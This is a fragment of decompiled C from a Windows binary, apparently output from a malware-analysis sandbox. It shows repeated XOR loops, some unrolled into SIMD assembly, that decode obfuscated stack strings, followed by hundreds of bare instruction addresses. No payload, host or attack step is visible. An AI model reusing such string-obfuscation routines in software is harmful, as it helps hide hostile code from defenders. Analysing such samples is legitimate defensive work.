_v2556 = _t736;
if(_t736 == 0) {
L41:
_t737 = E0040DCC0( &_v676, &_v2560);
_v2541 = 1;
if(_t737 != 0) {
goto L43;
}
goto L42;
}
_t981 = 0;
_v2544 = 0;
do {
_t984 = _v2544;
*(_t1033 + _t984 - 0x9f4) = *(_t1033 + _t984 - 0x9f4) ^ _t984 - (0xa0a0a0a1 * _t981 >> 0x00000020 >> 0x00000005) * 0x00000033 + 0x00000031;
_t981 = _t984 + 1;
_v2544 = _t981;
} while (_t981 < 6);
goto L41;
}
_t985 = 0;
_v2544 = 0;
if(_t1014 < 2) {
do {
L36:
_t988 = _v2544;
*(_t1033 + _t988 - 0xa58) = *(_t1033 + _t988 - 0xa58) ^ _t988 - (0xa0a0a0a1 * _t985 >> 0x00000020 >> 0x00000005) * 0x00000033 + 0x00000031;
_t985 = _t988 + 1;
_v2544 = _t985;
} while (_t985 < 0x1c);
goto L37;
}
asm("movaps xmm0, [0x415b50]");
_t144 = _t985 + 4; // 0x4
_t746 = _t144;
asm("movaps xmm4, [0x415af0]");
asm("movaps xmm3, [0x415b60]");
asm("movaps xmm5, [0x415b20]");
asm("movaps [ebp-0x280], xmm0");
asm("movd xmm6, edi");
do {
asm("movd xmm0, edx");
_t985 = _t985 + 8;
asm("pshufd xmm2, xmm0, 0x0");
asm("paddd xmm2, xmm4");
asm("movaps xmm1, xmm2");
asm("movaps xmm0, xmm2");
asm("punpckldq xmm1, xmm2");
asm("pmuludq xmm1, xmm3");
asm("punpckhdq xmm0, xmm2");
asm("pmuludq xmm0, xmm3");
asm("shufps xmm1, xmm0, 0xdd");
asm("psrld xmm1, xmm6");
asm("pmulld xmm1, xmm5");
asm("psubd xmm2, xmm1");
asm("pshuflw xmm0, xmm2, 0xd8");
asm("pshufhw xmm0, xmm0, 0xd8");
asm("pshufd xmm1, xmm0, 0xd8");
asm("pand xmm1, [0x415b40]");
asm("packuswb xmm1, xmm1");
asm("movd xmm0, ecx");
asm("paddb xmm1, xmm0");
asm("movd xmm0, dword [ebp+eax-0xa5c]");
asm("pxor xmm1, xmm0");
asm("movd xmm0, eax");
asm("movd [ebp+eax-0xa5c], xmm1");
asm("pshufd xmm2, xmm0, 0x0");
asm("paddd xmm2, xmm4");
asm("movaps xmm1, xmm2");
asm("movaps xmm0, xmm2");
asm("punpckldq xmm1, xmm2");
asm("pmuludq xmm1, xmm3");
asm("punpckhdq xmm0, xmm2");
asm("pmuludq xmm0, xmm3");
asm("shufps xmm1, xmm0, 0xdd");
asm("psrld xmm1, xmm6");
asm("pmulld xmm1, xmm5");
asm("psubd xmm2, xmm1");
asm("pshuflw xmm0, xmm2, 0xd8");
asm("pshufhw xmm0, xmm0, 0xd8");
asm("pshufd xmm1, xmm0, 0xd8");
asm("pand xmm1, [0x415b40]");
asm("packuswb xmm1, xmm1");
asm("movd xmm0, ecx");
asm("paddb xmm1, xmm0");
asm("movd xmm0, dword [ebp+eax-0xa58]");
asm("pxor xmm1, xmm0");
asm("movd [ebp+eax-0xa58], xmm1");
_t746 = _t746 + 8;
} while (_t746 < 0x1c);
_v2544 = _t985;
if(_t985 >= 0x1c) {
goto L37;
}
goto L36;
}
_t989 = 0;
_v2544 = 0;
if(_t1014 < 2) {
do {
L30:
_t992 = _v2544;
*(_t1033 + _t992 - 0xa08) = *(_t1033 + _t992 - 0xa08) ^ _t992 - (0xa0a0a0a1 * _t989 >> 0x00000020 >> 0x00000005) * 0x00000033 + 0x00000031;
_t989 = _t992 + 1;
_v2544 = _t989;
} while (_t989 < 0x14);
goto L31;
}
asm("movaps xmm0, [0x415b50]");
_t127 = _t989 + 4; // 0x4
_t751 = _t127;
asm("movaps xmm4, [0x415af0]");
asm("movaps xmm3, [0x415b60]");
asm("movaps xmm5, [0x415b20]");
asm("movaps [ebp-0x280], xmm0");
asm("movd xmm6, edi");
do {
asm("movd xmm0, edx");
_t989 = _t989 + 8;
asm("pshufd xmm2, xmm0, 0x0");
asm("paddd xmm2, xmm4");
asm("movaps xmm1, xmm2");
asm("movaps xmm0, xmm2");
asm("punpckldq xmm1, xmm2");
asm("pmuludq xmm1, xmm3");
asm("punpckhdq xmm0, xmm2");
asm("pmuludq xmm0, xmm3");
asm("shufps xmm1, xmm0, 0xdd");
asm("psrld xmm1, xmm6");
asm("pmulld xmm1, xmm5");
asm("psubd xmm2, xmm1");
asm("pshuflw xmm0, xmm2, 0xd8");
asm("pshufhw xmm0, xmm0, 0xd8");
asm("pshufd xmm1, xmm0, 0xd8");
asm("pand xmm1, [0x415b40]");
asm("packuswb xmm1, xmm1");
asm("movd xmm0, ecx");
asm("paddb xmm1, xmm0");
asm("movd xmm0, dword [ebp+eax-0xa0c]");
asm("pxor xmm1, xmm0");
asm("movd xmm0, eax");
asm("movd [ebp+eax-0xa0c], xmm1");
asm("pshufd xmm2, xmm0, 0x0");
asm("paddd xmm2, xmm4");
asm("movaps xmm1, xmm2");
asm("movaps xmm0, xmm2");
asm("punpckldq xmm1, xmm2");
asm("pmuludq xmm1, xmm3");
asm("punpckhdq xmm0, xmm2");
asm("pmuludq xmm0, xmm3");
asm("shufps xmm1, xmm0, 0xdd");
asm("psrld xmm1, xmm6");
asm("pmulld xmm1, xmm5");
asm("psubd xmm2, xmm1");
asm("pshuflw xmm0, xmm2, 0xd8");
asm("pshufhw xmm0, xmm0, 0xd8");
asm("pshufd xmm1, xmm0, 0xd8");
asm("pand xmm1, [0x415b40]");
asm("packuswb xmm1, xmm1");
asm("movd xmm0, ecx");
asm("paddb xmm1, xmm0");
asm("movd xmm0, dword [ebp+eax-0xa08]");
asm("pxor xmm1, xmm0");
asm("movd [ebp+eax-0xa08], xmm1");
_t751 = _t751 + 8;
} while (_t751 < 0x14);
_v2544 = _t989;
if(_t989 >= 0x14) {
goto L31;
}
goto L30;
}
_t993 = 0;
_v2544 = 0;
if(_t1014 < 2) {
do {
L24:
_t996 = _v2544;
*(_t1033 + _t996 - 0xa3c) = *(_t1033 + _t996 - 0xa3c) ^ _t996 - (0xa0a0a0a1 * _t993 >> 0x00000020 >> 0x00000005) * 0x00000033 + 0x00000031;
_t993 = _t996 + 1;
_v2544 = _t993;
} while (_t993 < 0x10);
goto L25;
}
asm("movaps xmm0, [0x415b50]");
_t110 = _t993 + 4; // 0x4
_t756 = _t110;
asm("movaps xmm4, [0x415af0]");
asm("movaps xmm3, [0x415b60]");
asm("movaps xmm5, [0x415b20]");
asm("movaps [ebp-0x280], xmm0");
asm("movd xmm6, edi");
asm("o16 nop [eax+eax]");
do {
asm("movd xmm0, edx");
_t993 = _t993 + 8;
asm("pshufd xmm2, xmm0, 0x0");
asm("paddd xmm2, xmm4");
asm("movaps xmm1, xmm2");
asm("movaps xmm0, xmm2");
asm("punpckldq xmm1, xmm2");
asm("pmuludq xmm1, xmm3");
asm("punpckhdq xmm0, xmm2");
asm("pmuludq xmm0, xmm3");
asm("shufps xmm1, xmm0, 0xdd");
asm("psrld xmm1, xmm6");
asm("pmulld xmm1, xmm5");
asm("psubd xmm2, xmm1");
asm("pshuflw xmm0, xmm2, 0xd8");
asm("pshufhw xmm0, xmm0, 0xd8");
asm("pshufd xmm1, xmm0, 0xd8");
asm("pand xmm1, [0x415b40]");
asm("packuswb xmm1, xmm1");
asm("movd xmm0, ecx");
asm("paddb xmm1, xmm0");
asm("movd xmm0, dword [ebp+eax-0xa40]");
asm("pxor xmm1, xmm0");
asm("movd xmm0, eax");
asm("movd [ebp+eax-0xa40], xmm1");
asm("pshufd xmm2, xmm0, 0x0");
asm("paddd xmm2, xmm4");
asm("movaps xmm1, xmm2");
asm("movaps xmm0, xmm2");
asm("punpckldq xmm1, xmm2");
asm("pmuludq xmm1, xmm3");
asm("punpckhdq xmm0, xmm2");
asm("pmuludq xmm0, xmm3");
asm("shufps xmm1, xmm0, 0xdd");
asm("psrld xmm1, xmm6");
asm("pmulld xmm1, xmm5");
asm("psubd xmm2, xmm1");
asm("pshuflw xmm0, xmm2, 0xd8");
asm("pshufhw xmm0, xmm0, 0xd8");
asm("pshufd xmm1, xmm0, 0xd8");
asm("pand xmm1, [0x415b40]");
asm("packuswb xmm1, xmm1");
asm("movd xmm0, ecx");
asm("paddb xmm1, xmm0");
asm("movd xmm0, dword [ebp+eax-0xa3c]");
asm("pxor xmm1, xmm0");
asm("movd [ebp+eax-0xa3c], xmm1");
_t756 = _t756 + 8;
} while (_t756 < 0x14);
_v2544 = _t993;
if(_t993 >= 0x10) {
goto L25;
}
goto L24;
} else {
_t997 = 0;
_v2548 = 0;
if(_t1014 >= 2) {
asm("movaps xmm2, [0x415af0]");
_t997 = 8;
asm("movaps xmm4, [0x415b60]");
asm("movaps xmm1, xmm2");
asm("punpckldq xmm1, xmm2");
asm("movaps xmm0, xmm2");
asm("pmuludq xmm1, xmm4");
asm("punpckhdq xmm0, xmm2");
asm("pmuludq xmm0, xmm4");
asm("movd xmm3, edi");
_v2548 = 8;
asm("shufps xmm1, xmm0, 0xdd");
asm("psrld xmm1, xmm3");
asm("pmulld xmm1, [0x415b20]");
asm("psubd xmm2, xmm1");
asm("pshuflw xmm0, xmm2, 0xd8");
asm("movaps xmm2, [0x415b10]");
asm("pshufhw xmm0, xmm0, 0xd8");
asm("pshufd xmm1, xmm0, 0xd8");
asm("pand xmm1, [0x415b40]");
asm("movd xmm0, dword [0x415ae0]");
asm("packuswb xmm1, xmm1");
asm("paddb xmm1, [0x415b50]");
asm("pxor xmm1, xmm0");
asm("movaps xmm0, xmm2");
asm("movd [ebp-0xa2c], xmm1");
asm("movaps xmm1, xmm2");
asm("punpckldq xmm1, xmm2");
asm("pmuludq xmm1, xmm4");
asm("punpckhdq xmm0, xmm2");
asm("pmuludq xmm0, xmm4");
asm("shufps xmm1, xmm0, 0xdd");
asm("psrld xmm1, xmm3");
asm("pmulld xmm1, [0x415b20]");
asm("psubd xmm2, xmm1");
asm("pshuflw xmm0, xmm2, 0xd8");
asm("pshufhw xmm0, xmm0, 0xd8");
asm("pshufd xmm1, xmm0, 0xd8");
asm("pand xmm1, [0x415b40]");
asm("movd xmm0, dword [ebp-0xa28]");
asm("packuswb xmm1, xmm1");
asm("paddb xmm1, [0x415b50]");
asm("pxor xmm1, xmm0");
asm("movd [ebp-0xa28], xmm1");
}
do {
_t1000 = _v2548;
*(_t1033 + _t1000 - 0xa2c) = *(_t1033 + _t1000 - 0xa2c) ^ _t1000 - (0xa0a0a0a1 * _t997 >> 0x00000020 >> 0x00000005) * 0x00000033 + 0x00000031;
_t997 = _t1000 + 1;
_v2548 = _t997;
} while (_t997 < 0xc);
goto L13;
}
} else {
_t898 = &_v556;
_t1001 = _t898 + 2;
goto L2;
L2:
_t762 = *_t898;
_t898 = _t898 + 2;
if(_t762 != 0) {
goto L2;
} else {
E0040D040(_t765, &_v772, _t1002, _t1013, &_v556, _t898 - _t1001 >> 1);
goto L5;
}
}
}
0x00406dc1
0x00406dc9
0x00406dd0
0x00406dd4
0x00406dd6
0x00406dd8
0x00406de3
0x00406de4
0x00406de5
0x00406deb
0x00406df0
0x00406df2
0x00406df5
0x00406df6
0x00406df7
0x00406dfb
0x00406e03
0x00406e09
0x00406e0f
0x00406e12
0x00406e18
0x00406e1e
0x00406e28
0x00406e35
0x00406e47
0x00406e7d
0x00406e82
0x00406e85
0x00406e85
0x00406e90
0x00406e92
0x00406e93
0x00406e98
0x00406e9e
0x00406ea1
0x00406ea8
0x00406eaa
0x00406eaf
0x00406eb5
0x00406eb7
0x00406ec0
0x00406ecd
0x00406edd
0x00406ee4
0x00406ee5
0x00406eeb
0x00406ef6
0x00406ef7
0x00406f00
0x00406f0b
0x00406f10
0x00406f1a
0x00406f25
0x00406f2e
0x00406f33
0x00406f33
0x00406f42
0x00406f4a
0x00406f4f
0x00406f55
0x00406f5d
0x00406f63
0x00407092
0x00407092
0x00407097
0x00407099
0x0040709f
0x004070a4
0x004070aa
0x004070b0
0x004070bd
0x004070cd
0x004070d4
0x004070d5
0x004070db
0x004070eb
0x004070fa
0x00407100
0x00407105
0x00407110
0x00407115
0x0040711b
0x0040711d
0x00407124
0x00407129
0x0040712f
0x00407135
0x00407142
0x00407152
0x00407159
0x0040715a
0x00407160
0x00407165
0x0040716a
0x0040716c
0x00407172
0x00407178
0x0040717f
0x00407184
0x0040718a
0x00407190
0x0040719d
0x004071ad
0x004071b4
0x004071b5
0x004071bb
0x004071cc
0x004071db
0x004071e1
0x004071e6
0x004071f1
0x004071f6
0x004071fd
0x00407204
0x00407209
0x0040720f
0x00407384
0x00407390
0x0040739c
0x004073a3
0x004073a8
0x004073ae
0x004073b5
0x00407524
0x00407530
0x0040753c
0x00407543
0x00407548
0x0040754e
0x00407555
0x0040755d
0x00407565
0x004076d4
0x004076e0
0x004076e5
0x004076ef
0x004076f9
0x00407703
0x00407710
0x0040771a
0x0040772c
0x00407732
0x0040773c
0x00407746
0x00407750
0x00407757
0x0040776e
0x00407784
0x0040778f
0x0040779d
0x0040786c
0x0040786c
0x00407873
0x00407873
0x0040787b
0x004078c0
0x004078c7
0x004078d0
0x004078d5
0x004078d5
0x004078e2
0x004078eb
0x004078f0
0x004078f0
0x004078f3
0x004078fd
0x00407907
0x00407911
0x00407918
0x00407920
0x00407933
0x0040793c
0x00407949
0x0040794e
0x00407954
0x00407961
0x00000000
0x00000000
0x00407967
0x0040796d
0x00407976
0x004079b0
0x004079b0
0x004079b6
0x004079c0
0x004079c0
0x004079c2
0x004079c3
0x004079c7
0x004079dc
0x004079e1
0x00000000
0x00000000
0x004079e7
0x004079ed
0x004079f0
0x00407a03
0x00407a06
0x00407a3c
0x00407a3c
0x00407a3e
0x00407a40
0x00000000
0x00000000
0x00000000
0x00407a40
0x00407a08
0x00407a08
0x00407a0c
0x00407a35
0x00407a35
0x00407a37
0x00000000
0x00407a37
0x00407a11
0x00000000
0x00000000
0x00407a13
0x00407a19
0x00000000
0x00000000
0x00407a1e
0x00000000
0x00000000
0x00407a20
0x00407a26
0x00000000
0x00000000
0x00407a2b
0x00000000
0x00000000
0x00407a2d
0x00407a33
0x00000000
0x00000000
0x00000000
0x00407a33
0x004079f2
0x004079f8
0x004079fb
0x004079fe
0x00407a01
0x00000000
0x00000000
0x00000000
0x00407a01
0x00000000
0x004079f2
0x00407978
0x0040797a
0x00407980
0x0040798d
0x0040799d
0x004079a4
0x004079a5
0x004079ab
0x00000000
0x00407980
0x00407a54
0x00407a59
0x00407a62
0x00407a6d
0x00407a78
0x00407a8b
0x00407a9c
0x00407a9f
0x00407aa8
0x00407ab9
0x00407abc
0x00407abf
0x00407acc
0x00407ad7
0x00407ae3
0x00407ae9
0x00407aed
0x00407af6
0x00407b1f
0x00407b1f
0x00407b23
0x00407b2c
0x00407b59
0x00407b59
0x00407b5d
0x00407b66
0x00407b99
0x00407b9f
0x00407bab
0x00407bb6
0x00407bbc
0x00407bc8
0x00407bd3
0x00407c64
0x00407c66
0x00407c69
0x00407c76
0x00407c7c
0x00407c7e
0x00407bd9
0x00407be5
0x00407bec
0x00407bf8
0x00407c1a
0x00407c04
0x00407c0a
0x00407c12
0x00407c0c
0x00407c0c
0x00407c0c
0x00407c0a
0x00407c1f
0x00407c28
0x00407c29
0x00407c2a
0x00407c2f
0x00407c30
0x00407c35
0x00407c36
0x00407c45
0x00407c46
0x00407c4d
0x00407c4e
0x00407c53
0x00407c59
0x00407c5f
0x00407c5f
0x00407c83
0x00407c90
0x00407c9a
0x00407ca4
0x00407ca7
0x00407cad
0x00407cb4
0x00407cb9
0x00407cc1
0x00407cc8
0x00407ccf
0x00407cd2
0x00407cd6
0x00407cdf
0x00407ce1
0x00407ce7
0x00407ce8
0x00407cf0
0x00407cf2
0x00407cf5
0x00407d00
0x00407d02
0x00407d02
0x00407d00
0x00407d08
0x00407d0a
0x00407d0f
0x00407d0f
0x00407d1f
0x00407d25
0x00407d2f
0x00407d39
0x00407d40
0x00407d4c
0x00407d4e
0x00407d42
0x00407d42
0x00407d48
0x00407d48
0x00407d56
0x00407d60
0x00407d6f
0x00407d7b
0x00407d86
0x00407d91
0x00407d97
0x00407d9d
0x00407dfe
0x00407dfe
0x00407e0d
0x00407e1c
0x00407e26
0x00407e26
0x00407e2a
0x00407e34
0x00407e41
0x00407e46
0x00407e48
0x00407e55
0x00407f56
0x00407f56
0x00407f6a
0x00407f72
0x00407f73
0x00407f78
0x00407f7a
0x00407f84
0x00407f8a
0x00407f94
0x00407f9e
0x00407fa1
0x00407fb0
0x00407fb0
0x00407fb3
0x00407fb6
0x00407fcd
0x00407fd4
0x00407fd8
0x00407fe0
0x00407fea
0x00407ff0
0x00407ffb
0x00408007
0x0040800c
0x00408012
0x00408020
0x00408020
0x0040803c
0x00408042
0x0040804b
0x00408051
0x00408079
0x0040807a
0x00408081
0x00408087
0x0040808e
0x00408053
0x00408053
0x00408059
0x00408065
0x0040806c
0x00408072
0x00408072
0x00408093
0x00408099
0x00408099
0x0040809e
0x004080a9
0x004080e2
0x004080f5
0x004080fc
0x00408106
0x0040810b
0x0040810e
0x00408112
0x0040811b
0x0040814e
0x00408150
0x0040815a
0x00408164
0x0040816b
0x0040816f
0x00408178
0x004081b1
0x004081b3
0x004081c3
0x004081d1
0x004081db
0x004081f3
0x004081fb
0x00408212
0x00408216
0x00408222
0x00408229
0x0040823f
0x0040823f
0x00408245
0x0040824d
0x0040824f
0x00408250
0x00408257
0x00408261
0x00408264
0x00408277
0x0040827a
0x00408281
0x00408288
0x0040828a
0x00408290
0x00408297
0x004082a1
0x004082a8
0x004082a8
0x004082b0
0x004082b0
0x004082b3
0x004082b6
0x004082b6
0x004082c7
0x004082cc
0x004082e8
0x00408300
0x00408307
0x00408313
0x0040831a
0x00408325
0x00408326
0x00408327
0x00408328
0x00408333
0x00408338
0x00408350
0x0040836f
0x00408375
0x0040837e
0x00408380
0x00408386
0x0040838d
0x00408395
0x00408397
0x0040839a
0x004083a5
0x004083a7
0x004083a7
0x004083a5
0x004083ad
0x004083af
0x004083b4
0x004083b4
0x004083bd
0x004083c2
0x004083cb
0x00408402
0x00408402
0x0040840a
0x00408414
0x0040841e
0x00408428
0x0040845f
0x0040845f
0x00408465
0x00408467
0x00408471
0x0040847b
0x00408485
0x004084b6
0x004084b6
0x004084bc
0x004084c6
0x004084d0
0x004084da
0x0040850d
0x0040850d
0x00408513
0x0040853d
0x0040853d
0x00408540
0x00408547
0x0040854e
0x00408555
0x00000000
0x00000000
0x00408557
0x0040855a
0x0040855b
0x00408563
0x00000000
0x00000000
0x00408565
0x00408568
0x00408573
0x00000000
0x00000000
0x00000000
0x00408573
0x00408515
0x00408518
0x00408519
0x00408521
0x00408533
0x00408533
0x00408535
0x0040853a
0x00000000
0x0040853a
0x00408523
0x00408526
0x0040852b
0x00408531
0x00000000
0x00000000
0x00000000
0x00408531
0x004084dc
0x004084e2
0x004084e9
0x004084f1
0x00408503
0x00408503
0x00408505
0x0040850a
0x00000000
0x0040850a
0x004084f3
0x004084f6
0x004084fb
0x00408501
0x00000000
0x00000000
0x00000000
0x00408501
0x00408487
0x0040848d
0x0040848e
0x00408496
0x004084ac
0x004084ac
0x004084ae
0x004084b3
0x00000000
0x004084b3
0x00408498
0x0040849b
0x004084a0
0x004084a6
0x00000000
0x00000000
0x00000000
0x004084a6
0x0040842a
0x00408430
0x00408437
0x0040843f
0x00408455
0x00408455
0x00408457
0x0040845c
0x00000000
0x0040845c
0x00408441
0x00408444
0x00408449
0x0040844f
0x00000000
0x00000000
0x00000000
0x004083cd
0x004083cd
0x004083d3
0x004083da
0x004083e2
0x004083f8
0x004083f8
0x004083fa
0x004083ff
0x00000000
0x004083ff
0x004083e4
0x004083e7
0x004083ec
0x004083f2
0x00408575
0x00408575
0x0040857b
0x0040857b
0x0040857d
0x00408585
0x00408588
0x00408590
0x00408591
0x004085a2
0x004085a2
0x00000000
0x004083f2
0x004083cb
0x0040817a
0x00408180
0x00408187
0x0040818f
0x004081a7
0x004081a7
0x004081a9
0x004081ae
0x00000000
0x004081ae
0x00408191
0x00408194
0x0040819f
0x00000000
0x00000000
0x004081a1
0x004081a1
0x00000000
0x004081a1
0x0040811d
0x00408123
0x0040812a
0x00408132
0x00408144
0x00408144
0x00408146
0x0040814b
0x00000000
0x0040814b
0x00408134
0x00408137
0x0040813c
0x00408142
0x00000000
0x00000000
0x00000000
0x00408142
0x004080b1
0x004080b3
0x004080ba
0x004080c2
0x004080d8
0x004080d8
0x004080da
0x004080df
0x00000000
0x004080df
0x004080c4
0x004080c7
0x004080cc
0x004080d2
0x00000000
0x00000000
0x00000000
0x004080d2
0x00407e5b
0x00407e67
0x00407e6e
0x00407e75
0x00407e7c
0x00407e80
0x00407e80
0x00407e87
0x00407e8c
0x00407e90
0x00407e93
0x00407e96
0x00407e9a
0x00407e9e
0x00407ea2
0x00407ea6
0x00407eaa
0x00407eae
0x00407eb3
0x00407eb7
0x00407ebc
0x00407ec1
0x00407ec6
0x00407eca
0x00407ece
0x00407ed7
0x00407edb
0x00407edf
0x00407ee8
0x00407eed
0x00407ef1
0x00407ef4
0x00407ef7
0x00407efb
0x00407eff
0x00407f03
0x00407f07
0x00407f0b
0x00407f0f
0x00407f14
0x00407f18
0x00407f1d
0x00407f22
0x00407f27
0x00407f2b
0x00407f2f
0x00407f38
0x00407f3c
0x00407f45
0x00407f48
0x00407f54
0x00000000
0x00000000
0x00000000
0x00407da0
0x00407da0
0x00407da4
0x00407daa
0x00407db3
0x00407ddf
0x00407de0
0x00407de7
0x00407ded
0x00407df4
0x00407db5
0x00407dbc
0x00407dbf
0x00407dcb
0x00407dd2
0x00407dd8
0x00407dd8
0x00407df9
0x00407dfa
0x00000000
0x00407da0
0x00407d9d
0x00407b68
0x00407b6e
0x00407b6f
0x00407b77
0x00407b8f
0x00407b8f
0x00407b91
0x00407b96
0x00000000
0x00407b96
0x00407b79
0x00407b7c
0x00407b87
0x00000000
0x00000000
0x00407b89
0x00407b89
0x00000000
0x00407b89
0x00407b2e
0x00407b34
0x00407b35
0x00407b3d
0x00407b4f
0x00407b4f
0x00407b51
0x00407b56
0x00000000
0x00407b56
0x00407b3f
0x00407b42
0x00407b47
0x00407b4d
0x00000000
0x00000000
0x00000000
0x00407b4d
0x00407af8
0x00407af8
0x00407afb
0x00407b03
0x00407b15
0x00407b15
0x00407b17
0x00407b1c
0x00000000
0x00407b1c
0x00407b05
0x00407b08
0x00407b0d
0x00407b13
0x00000000
0x00000000
0x00000000
0x00407b13
0x0040787d
0x00407886
0x0040788f
0x00000000
0x00000000
0x00407891
0x00407897
0x00407898
0x004078a0
0x004078b6
0x004078b6
0x004078b8
0x004078bd
0x00000000
0x004078bd
0x004078a2
0x004078a5
0x004078aa
0x004078b0
0x00000000
0x00000000
0x00000000
0x004078b0
0x004077a5
0x004077bb
0x004077c5
0x004077d3
0x004077d4
0x004077e2
0x004077ec
0x004077f1
0x004077f6
0x004077fc
0x00407802
0x0040780c
0x00407815
0x00407850
0x0040785c
0x00407861
0x0040786a
0x00000000
0x00000000
0x00000000
0x0040786a
0x00407817
0x00407819
0x00407820
0x0040782d
0x0040783d
0x00407844
0x00407845
0x0040784b
0x00000000
0x00407820
0x0040756b
0x0040756d
0x00407576
0x004076a4
0x004076a4
0x004076b1
0x004076c1
0x004076c8
0x004076c9
0x004076cf
0x00000000
0x004076a4
0x0040757c
0x00407583
0x00407583
0x00407586
0x0040758d
0x00407594
0x0040759b
0x004075a8
0x004075b0
0x004075b0
0x004075b4
0x004075b7
0x004075bc
0x004075c0
0x004075c3
0x004075c6
0x004075ca
0x004075ce
0x004075d2
0x004075d6
0x004075da
0x004075de
0x004075e3
0x004075e7
0x004075ec
0x004075f1
0x004075f6
0x004075fe
0x00407602
0x00407606
0x0040760a
0x00407613
0x00407617
0x0040761b
0x00407624
0x00407629
0x0040762d
0x00407630
0x00407633
0x00407637
0x0040763b
0x0040763f
0x00407643
0x00407647
0x0040764b
0x00407650
0x00407654
0x00407659
0x0040765e
0x00407663
0x0040766b
0x0040766f
0x00407673
0x00407677
0x00407680
0x00407684
0x0040768d
0x00407690
0x00407699
0x004076a2
0x00000000
0x00000000
0x00000000
0x004076a2
0x004073bb
0x004073bd
0x004073c6
0x004074f4
0x004074f4
0x00407501
0x00407511
0x00407518
0x00407519
0x0040751f
0x00000000
0x004074f4
0x004073cc
0x004073d3
0x004073d3
0x004073d6
0x004073dd
0x004073e4
0x004073eb
0x004073f8
0x00407400
0x00407400
0x00407404
0x00407407
0x0040740c
0x00407410
0x00407413
0x00407416
0x0040741a
0x0040741e
0x00407422
0x00407426
0x0040742a
0x0040742e
0x00407433
0x00407437
0x0040743c
0x00407441
0x00407446
0x0040744e
0x00407452
0x00407456
0x0040745a
0x00407463
0x00407467
0x0040746b
0x00407474
0x00407479
0x0040747d
0x00407480
0x00407483
0x00407487
0x0040748b
0x0040748f
0x00407493
0x00407497
0x0040749b
0x004074a0
0x004074a4
0x004074a9
0x004074ae
0x004074b3
0x004074bb
0x004074bf
0x004074c3
0x004074c7
0x004074d0
0x004074d4
0x004074dd
0x004074e0
0x004074e9
0x004074f2
0x00000000
0x00000000
0x00000000
0x004074f2
0x00407215
0x00407217
0x00407220
0x00407354
0x00407354
0x00407361
0x00407371
0x00407378
0x00407379
0x0040737f
0x00000000
0x00407354
0x00407226
0x0040722d
0x0040722d
0x00407230
0x00407237
0x0040723e
0x00407245
0x00407252
0x00407256
0x00407260
0x00407260
0x00407264
0x00407267
0x0040726c
0x00407270
0x00407273
0x00407276
0x0040727a
0x0040727e
0x00407282
0x00407286
0x0040728a
0x0040728e
0x00407293
0x00407297
0x0040729c
0x004072a1
0x004072a6
0x004072ae
0x004072b2
0x004072b6
0x004072ba
0x004072c3
0x004072c7
0x004072cb
0x004072d4
0x004072d9
0x004072dd
0x004072e0
0x004072e3
0x004072e7
0x004072eb
0x004072ef
0x004072f3
0x004072f7
0x004072fb
0x00407300
0x00407304
0x00407309
0x0040730e
0x00407313
0x0040731b
0x0040731f
0x00407323
0x00407327
0x00407330
0x00407334
0x0040733d
0x00407340
0x00407349
0x00407352
0x00000000
0x00000000
0x00000000
0x00406f69
0x00406f69
0x00406f6b
0x00406f74
0x00406f7a
0x00406f81
0x00406f86
0x00406f8d
0x00406f90
0x00406f94
0x00406f97
0x00406f9b
0x00406f9f
0x00406fa3
0x00406fa7
0x00406fad
0x00406fb1
0x00406fb5
0x00406fbe
0x00406fc2
0x00406fc7
0x00406fce
0x00406fd3
0x00406fd8
0x00406fe0
0x00406fe8
0x00406fec
0x00406ff4
0x00406ff8
0x00406ffb
0x00407003
0x00407006
0x0040700a
0x0040700e
0x00407012
0x00407016
0x0040701a
0x0040701e
0x00407027
0x0040702b
0x00407030
0x00407035
0x0040703a
0x00407042
0x0040704a
0x0040704e
0x00407056
0x0040705a
0x0040705a
0x00407062
0x0040706f
0x0040707f
0x00407086
0x00407087
0x0040708d
0x00000000
0x00407062
0x00406e49
0x00406e49
0x00406e4f
0x00406e4f
0x00406e52
0x00406e52
0x00406e55
0x00406e5b
0x00000000
0x00406e5d
0x00406e6f
0x00000000
0x00406e6f
0x00406e5b